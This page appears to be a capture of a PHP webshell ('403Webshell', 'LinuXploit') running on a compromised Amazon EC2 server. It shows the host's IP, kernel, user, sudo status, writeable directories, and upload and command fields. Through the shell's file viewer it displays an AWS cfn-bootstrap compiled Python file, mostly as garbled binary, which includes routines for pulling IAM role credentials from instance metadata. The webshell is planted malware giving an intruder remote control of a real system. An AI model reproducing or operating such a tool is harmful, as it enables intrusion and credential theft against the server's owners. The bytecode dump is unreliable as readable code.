403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cfnbootstrap/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cfnbootstrap/__pycache__/util.cpython-39.opt-1.pyc
a

��0i�^�@s�ddlmZddlZddlmZddlZddlZddlmZm	Z	m
Z
mZddlZddl
ZddlZddlZddlmZddlZddlZddlZddlZddlZddlZddlZddlZzddlmZWn"ey�Gdd�de�ZYn0d	Zd
Z e�!d�Z"e�!d�Z#e�!d
�Z$dadd�Z%dbdd�Z&dd�Z'Gdd�de(�Z)Gdd�de*�Z+Gdd�d�Z,Gdd�de*�Z-Gdd�de(�Z.de'fd d!�Z/Gd"d#�d#e�Z0dcd%d&�Z1d'd(�Z2d)d*�Z3efd+d,�Z4e/d-d.�d/d0��Z5e/d-d.�d1d2��Z6d3a7e/d-d.�d4d5��Z8d6d7�Z9d8d9�Z:e/d-d.�d:d;��Z;e<gd<��Z=d=d>�Z>e�?d?�Z@e�?d@�ZAdAdB�ZBdCdD�ZCdEdF�ZDdGdH�ZEdIdJ�ZFdKdL�ZGGdMdN�dNe(�ZHGdOdP�dPe(�ZIGdQdR�dRe(�ZJGdSdT�dTe(�ZKGdUdV�dVe(�ZLdWdX�ZMdYdZ�ZNd[d\�ZOd]d^�ZPd_d`�ZQdS)d�)�
endpoint_toolN)�OptionGroup)�ConnectionError�	HTTPError�Timeout�SSLError)�requests)�
ProxyErrorcseZdZ�fdd�Z�ZS)r	cstt|�j|i|��dS�N)�superr	�__init__)�self�args�kwargs��	__class__��5/usr/lib/python3.9/site-packages/cfnbootstrap/util.pyr)szProxyError.__init__��__name__�
__module__�__qualname__r�
__classcell__rrrrr	(sr	gN@�ntzcfn.initZwirezcfn.init.cmd�cs�fdd�td|�D�S)zp
    Returns a series of floating point numbers between 0 and min(max_sleep, 2^i-1) for i in 0 to max_tries
    cs&g|]}t��t�d|d��qS)��)�random�min)�.0�i��	max_sleeprr�
<listcomp>;�z'exponential_backoff.<locals>.<listcomp>r)�range)�	max_triesr"rr!r�exponential_backoff7sr'cCs(|�t��t|dt|�d��dS)zF
    Adds another exponential delay time to a list of delay times
    rrN)�appendrr�len)�	durationsr"rrr�extend_backoff>s
�r+cCsH|jdkrd}n|jdkr*|jdvr*d}nd}t|jd|j|jf|�S)Ni��RETRIABLE_FOREVERi�)i�i��TERMINAL�	RETRIABLEzHTTP Error %s : %s)�status_code�RemoteError�text)�resp�
retry_moderrr�_extract_http_errorFs
r4c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�EtagCheckedResponsecCs�t|�|_d|jvr2t�d|j�r2|jd�d�nd}|j�d�dkrVt�	d�d}n|rpd|vrpt�	d�d}||_
|j
r�z4ztjd	d
�|_
Wntjdd	d
�|_
Yn0Wq�tjdd
d�t�|_
Yq�0nt�|_
dS)N�etagZAmazonS3�"zx-amz-server-side-encryptionzaws:kmsz6file uses KMS encryption; skipping checksum comparison�-zQcannot check consistency of file uploaded multipart; etag has - character presentF)Zusedforsecurity�md5z�Failed to retrieve md5 hash object from hashlib. Commonly this means the algorithm provider, likely OpenSSL's libcrypto library, disabled md5 when configured to be FIPS compliant. Skipping md5 checksum verification of S3 objects.T��exc_info)�check_status�	_response�headersrZis_service_url�url�strip�get�log�warn�_etag�hashlibr9�_digest�newZwarning�
NoOpDigest)r
�responser6rrrrSs6
��
��zEtagCheckedResponse.__init__cCs4|js
dS|j��}|j|kr0td|j|f��dS)NzExpected digest %s; received %s)rDrF�	hexdigest�
ChecksumError)r
Zfinal_digestrrr�
_check_digestrs

�z!EtagCheckedResponse._check_digestcCsH|�dd�|��|j�d�D]}|�|�|j�|�q |��dS)Nri()�seek�truncater=Ziter_content�writerF�updaterL)r
�dest�crrr�write_to{s
zEtagCheckedResponse.write_tocCs |jj}|j�|�|��|Sr
)r=�contentrFrPrL�r
rTrrr�contents�szEtagCheckedResponse.contentsN)rrrrrLrSrVrrrrr5Qs	r5cseZdZ�fdd�Z�ZS)rKcstt|��d|�dSr
)rrKr�r
�msgrrrr�szChecksumError.__init__rrrrrrK�srKc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)rHcCsd|_d|_dS)N���)Zdigest_sizeZ
block_size�r
rrrr�szNoOpDigest.__init__cCsdSr
rrUrrrrP�szNoOpDigest.updatecCsdSr
rrZrrrrJ�szNoOpDigest.hexdigestcCsdSr
rrZrrr�digest�szNoOpDigest.digestcCs|Sr
rrZrrr�copy�szNoOpDigest.copyN)rrrrrPrJr[r\rrrrrH�s
rHcs*eZdZegd��Zd�fdd�	Z�ZS)r0)r-r.r,r.cs2tt|��||�|tjvr(td|��||_dS)NzInvalid retry mode: %s)rr0r�retry_modes�
ValueErrorr3)r
�coderXr3rrrr�s
zRemoteError.__init__)r.)rrr�	frozensetr]rrrrrrr0�sr0c@seZdZdd�ZdS)�SleepercCst�|�dSr
)�time�sleep)r
Zsecsrrrrc�sz
Sleeper.sleepN)rrrrcrrrrra�sra�cs��fdd�}|S)Ncs���fdd�}|S)Ncs�t�}t��}|D�]�}|dkr6t�d|�|�|�z�|i|��WSty�}z$t�d�tdt|��}WYd}~qd}~0t	y�}z$t�d�tdt|��}WYd}~qd}~0t
�y�}z$t�d�tdt|��}WYd}~qd}~0t�yR}z>t�d�tdt|��}t|��dk�r>t
|�WYd}~qd}~0t�y�}zH�|j�}|jdk�r~|�n|jd	k�r�t
|�t�|j�WYd}~qd}~0t�y�}z$t�d
�tdt|��}WYd}~qd}~0t�y*}z$t�d�tdt|��}WYd}~qd}~0t�yf}z$t�d�tdt|��}WYd}~qd}~0t�y�}z&t�d
�tdt|�d��WYd}~qd}~00q|�dS)Nrz'Sleeping for %f seconds before retryingrzChecksum mismatchrr	�r-r,rzClient-side timeoutzGeneric IOErrorzUnexpected Exception)rar'rB�debugrcr�	exceptionr0�strrKrr	r)r+rrIr3�strerrorr�TimeoutError�IOError�	Exception)rrZsleeperr*�duration�eZ
last_error)�f�http_error_extractorr&rr�_retry�sX
�

"
"
"

 
"
"
"
(z3retry_on_failure.<locals>._decorate.<locals>._retryr)rorq�rpr&�ror�	_decorate�s4z#retry_on_failure.<locals>._decorater)r&rprtrrrr�retry_on_failure�s7rucseZdZ�fdd�Z�ZS)rjcstt|���||_dSr
)rrlrrXrWrrrr�szTimeoutError.__init__rrrrrrj�srj�<cs�fdd�}|S)Ncs��fdd�}|S)Ncs|g�g������fdd�}tj|d�}d|_|��|���|��r`t�d��td����rl�d��rx�dSdS)Nc
sLz����i����Wn.tyF}z��|�WYd}~n
d}~00dSr
)r(rl)rn)r�excror�ret_valrr�value_fn�sz>timeout.<locals>._decorate.<locals>._timeout.<locals>.value_fn)�targetTzTimeout of %s seconds breachedz*Execution did not succeed after %s secondsr)	�	threadingZThreadZdaemon�start�joinZis_aliverBrCrj)rrryZ
worker_thread)rmro)rrwrrxr�_timeout�s
�z,timeout.<locals>._decorate.<locals>._timeoutr)ror~�rmrsrrt�sztimeout.<locals>._decorater)rmrtrrr�timeout�sr�cCs
d�|�S)Nzhttp://169.254.169.254/latest{})�format)�pathrrr�_get_metadata_pathsr�cCs0tjtd�dditd�}|jdkr,|j��SdS)z�
    Try to get token for getting instance metadata(https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)
    z
/api/tokenz$X-aws-ec2-metadata-token-ttl-secondsZ21600)r>r����)rZputr��REQUEST_TIMEOUTr/r1r@�r2rrr�_get_session_tokens

�r�cCs8|stj||ddid�}ntj||ddid|id�}|S)NZno_proxyz169.254.169.254/32)r��proxieszX-aws-ec2-metadata-token)r�r�r>)rrA)r��tokenr~r2rrr�_get_metadata_response's�r��
)r&cCs*t�}td�}t||�}|��|j��S)Nz#/dynamic/instance-identity/document�r�r�r��raise_for_statusr1�rstrip�r��
metadata_pathr2rrr�get_instance_identity_document0s

r�cCs*t�}td�}t||�}|��|j��S)Nz$/dynamic/instance-identity/signaturer�r�rrr�get_instance_identity_signature9s

r��__unsetcCs2t�}td�}d}t|||d�}|��|j��S)Nz/meta-data/instance-idr)r~)r�r�r�r�r1r@)r�r�Zrequest_timeout_in_secondsr2rrr�_fetch_instance_idEsr�cCs8tdkr4z
t�aWn ty2t�d�daYn0tS)zS
    Attempt to retrieve an EC2 instance id, returning None if this is not EC2
    r�zException retrieving InstanceIdN)�_instance_idr�rkrBrgrrrr�get_instance_idOs


r�cCs
t�duSr
)r�rrrr�is_ec2^sr�cCsVt�}td�|��}t||�}|��|��}t|d|d|dtj�|dd��S)Nz&/meta-data/iam/security-credentials/{}ZAccessKeyIdZSecretAccessKey�TokenZ
Expirationz%Y-%m-%dT%H:%M:%SZ)	r�r�r�r�r�Zjson�Credentials�datetime�strptime)�namer�r�r2Zrolerrr�get_role_credsbs�
�r�)Tr�trueZyes�y�1cCs*|sdSt|t�r|����n|}|tvS)z�
    This tries to interpret if the user intended True
    I don't use python's boolean equivalent because it's
    likely that we're getting a string
    F)�
isinstancerh�lowerr@�_trues)�inputrrr�interpret_booleanusr�z	(?<!\\)\.z\\(?=\.)cCsN|s|S|}dd�t�|�D�D](}||vr@t�d||�dS||}q |S)zReturns a value from metadata (a dict) at a (possibly empty) path, where path is in dotted object syntax (like root.child.leaf)css|]}t�d|�VqdS)r�N)�_slash_replace�sub)r�srrr�	<genexpr>�r$z extract_value.<locals>.<genexpr>z'No value at path %s (missing index: %s)N)�
_dot_split�splitrBrf)�metadatar��return_dataZelementrrr�
extract_value�s
r�cCs8t|dd�}|jdddddd�|jdd	d
ddd�|S)NZProxyzLOptions for specifying proxies. Format: [scheme://][user:password@]host:portr�z--http-proxyzA (non-SSL) HTTP proxy�string�
http_proxy��help�typerQz
--https-proxyzAn HTTPS proxy�https_proxy�rZ
add_option)�parserZproxy_grouprrr�get_proxy_options�s�
�
�r�cCs0i}|jr|j|d<|jr$|j|d<|r,|SdS)N�http�https)r�r�)�optionsZreturn_inforrr�
get_proxyinfo�s

r�cCs`t|dd�}|jdddddd�|jd	d
dddd�|jd	d
dddd�|jd	ddddd�|S)NzAWS Credentialsz/Options for specifying AWS Account Credentials.z-fz--credential-filez\A credential file, readable only by the owner, with keys 'AWSAccessKeyId' and 'AWSSecretKey'r��credential_filer�r�z--rolezAn IAM Role�iam_rolez--access-keyzAn AWS Access Key�
access_keyz--secret-keyzAn AWS Secret Key�
secret_keyr�)r�Zcreds_grouprrr�get_cred_options�s �
�
�
�
�r�c
Csz|jrXzt|j�WStyT}z*td|jtjd�t�d�WYd}~qvd}~00n|jrht	|j�St
|j|j�SdS)Nz+Error retrieving credentials from file:
	%s)�filer)
r��extract_credentialsrk�printri�sys�stderr�exitr�r�r�r�r�)r�rnrrr�get_creds_or_die�s��"
r�cCs�tj�|�stdd|��tjdkrRt�|�tj}tj|@sHtj|@rRtdd��d\}}t	|d��V}dd�|D�D]6}|�
d	�r�|�d
�d}qt|�
d�rt|�d
�d}qtWd�n1s�0Y|r�|s�tdd
��t||�S)z�
    Extract credentials from a file at path, returning tuple of (access_key, secret_key)
    Raises an exception if the file is readable by group or other.
    Nz#Credential file was not found at %s�posixz]Credential file cannot be accessible by group or other. Please chmod 600 the credential file.)r�r��rcss|]}|��VqdSr
)r@)r�linerrrr��r$z&extract_credentials.<locals>.<genexpr>zAWSAccessKeyId=�=rz
AWSSecretKey=zICredential file must contain the keys 'AWSAccessKeyId' and 'AWSSecretKey')
�osr��isfilerkr��stat�ST_MODE�S_IRWXG�S_IRWXO�open�
startswith�	partitionr�)r��moder�r�ror�rrrr��s(
�

.�r�c@s<eZdZdZdd�Zedd��Zedd��Zedd	��Zd
S)�
ProcessResultz*
    Return object for ProcessHelper

    cCs||_||_||_dSr
)�_returncode�_stdout�_stderr)r
�
returncode�stdoutr�rrrr�szProcessResult.__init__cCs|jSr
)r�rZrrrr��szProcessResult.returncodecCs
t|j�Sr
)�_ensure_strr�rZrrrr�szProcessResult.stdoutcCs
t|j�Sr
)r�r�rZrrrr�szProcessResult.stderrN)	rrr�__doc__r�propertyr�r�r�rrrrr��s

r�c@s.eZdZdZejejddfdd�Zdd�ZdS)�
ProcessHelperz4
    Helper to simplify command line execution

    NcCsZ||_||_||_|sd|_n2tjtkrFtdd�t|�	��D��|_n
t|�|_||_
dS)Ncss"|]\}}t|�t|�fVqdSr
)rh)r�k�vrrrr�r$z)ProcessHelper.__init__.<locals>.<genexpr>)�_cmdr�r��_envr�r��WINDOWS�dict�iter�items�_cwd)r
�cmdr�r��env�cwdrrrrs

zProcessHelper.__init__c
CsHtjtk�rt|jt�r |j}nt�|j�}d}z*tjdtj	tj	d|j
|jd�}|��Wn6t
y�}ztjd|d�d}WYd}~n
d}~00tj|j|r�|jntj|r�|jntjt|jt�|j
|jd�}|r�t�d�|��}nt�d	�|��d
d
g}n0tj|j|j|jt|jt�|j
|jd�}|��}t|j|d|d�S)
zV
        Calls the command, returning a tuple of (returncode, stdout, stderr)
        Tzecho 'hello')r�r��shellr�r�zPIO redirection does not work, the output of commands will not be written to logsr:FNz9IO redirection is working. Redirecting the output to logsz<IO redirection does not work. Redirecting the output to nullr�rr)r�r�r�r�r�rh�
subprocessZlist2cmdline�Popen�PIPEr�r�ZcommunicaterlrB�infor�ZDEVNULLr��waitr�r�)r
ZcommandZio_redirection_works�prnZprocessr�rrr�calls^�
�	


�
�	�zProcessHelper.call)	rrrr�r�r��STDOUTrr�rrrrr�sr�c@s,eZdZejejdddfdd�Zdd�ZdS)�LoggingProcessHelperr�NcCs"||_t|||||�|_||_dSr
)r�r��process_helperr�)r
r�r�r�r�r�r�rrrraszLoggingProcessHelper.__init__cCs�t�d�t�t|j��|j��}|j}|j}|rnt�d�dd��|�	d�D]}t�d|�qPt�d�|r�t�d�dd��|�	d�D]}t�
d|�q�t�d�|jr�t�
d	|j�n
t�d
�|S)Nz<============================================================zCommand Outputrvr8F�	z<------------------------------------------------------------zCommand ErrorszExited with error code %dzCompleted successfully.)�cmd_logr�r�r�r�r�r�r��center�
splitlines�errorr�)r
�results�outputr�r�rrrr�fs&




zLoggingProcessHelper.call)rrrr�r�r�rr�rrrrr�_sr�c@sJeZdZdZd
dd�Zedd��Zedd��Zed	d
��Zedd��Z	dS)r�z
    AWS Credentials
    NcCs||_||_||_||_dSr
)�_access_key�_secret_key�_security_token�_expiration)r
r�r��security_token�
expirationrrrr�szCredentials.__init__cCs|jSr
)r�rZrrrr��szCredentials.access_keycCs|jSr
)rrZrrrr��szCredentials.secret_keycCs|jSr
)rrZrrrr�szCredentials.security_tokencCs|jSr
)rrZrrrr�szCredentials.expiration)NN)
rrrr�rr�r�r�rrrrrrr�}s



r�c@sPeZdZdZdd�Zdd�Zedd��Zedd	��Zed
d��Z	edd
��Z
dS)�RoleBasedCredentialsz 
    Refreshing credentials
    cCs"||_d|_t��|_|��dSr
)�
_role_name�_credsr{ZLock�
_refresh_lock�_refresh)r
Z	role_namerrrr�s
zRoleBasedCredentials.__init__c	Cs�|j��|jr,|jjtjdd�tj��kr�t�d�zt|j	�|_Wn<t
y�|jrl|jjtj��krttd��t�d�Yn0|jWd�S1s�0YdS)Nr)Zhoursz!Refreshing role-based credentialsz,Credentials have expired and refresh failed.zCException while refreshing credentials; will refresh on next access)
rrrr�Z	timedeltaZutcnowrBr�r�rrk�RuntimeErrorrgrZrrrr	�s$
��
zRoleBasedCredentials._refreshcCs
|��jSr
)r	r�rZrrrr��szRoleBasedCredentials.access_keycCs
|��jSr
)r	r�rZrrrr��szRoleBasedCredentials.secret_keycCs
|��jSr
)r	rrZrrrr�sz#RoleBasedCredentials.security_tokencCs
|��jSr
)r	rrZrrrr�szRoleBasedCredentials.expirationN)rrrr�rr	r�r�r�rrrrrrr�s


rcOs.t�d|j|j|j�|js*t�d|j�dS)NzResponse: %s %s [headers: %s]zResponse error: %s)�wire_logrfr/r?r>�okrT)r2rrrrr�log_response�s
�r
cCsdtiS)NrI)r
rrrr�	get_hooks�srcCs6|rt|�ni}d|d<t�|d<d|d<t|d<|S)NTZverifyZhooks�streamr�)r�rr�)rrrr�req_opts�s
rcCs|��|Sr
)r�r�rrrr<�sr<cCst|t�r|�d�}|S)N�utf8)r��bytes�decode)Z
input_datarrrr��s

r�)r)r)rv)RZcfnbootstraprrEZoptparserr{r�Z)cfnbootstrap.packages.requests.exceptionsrrrrZloggingZos.pathr�r�reZcfnbootstrap.packagesrr�r�r�rbZuuid�inspectZtempfileZshutilZ:cfnbootstrap.packages.requests.packages.urllib3.exceptionsr	�ImportErrorrlr�r�Z	getLoggerrBrr�r'r+r4�objectr5rkrKrHr0rarurjr�r�r�r�r�r�r�r�r�r�r�r`r�r��compiler�r�r�r�r�r�r�r�r�r�r�r�rr
rrr<r�rrrr�<module>s�




9
;
$
	


	



"T+


Youez - 2016 - github.com/yon3zu
LinuXploit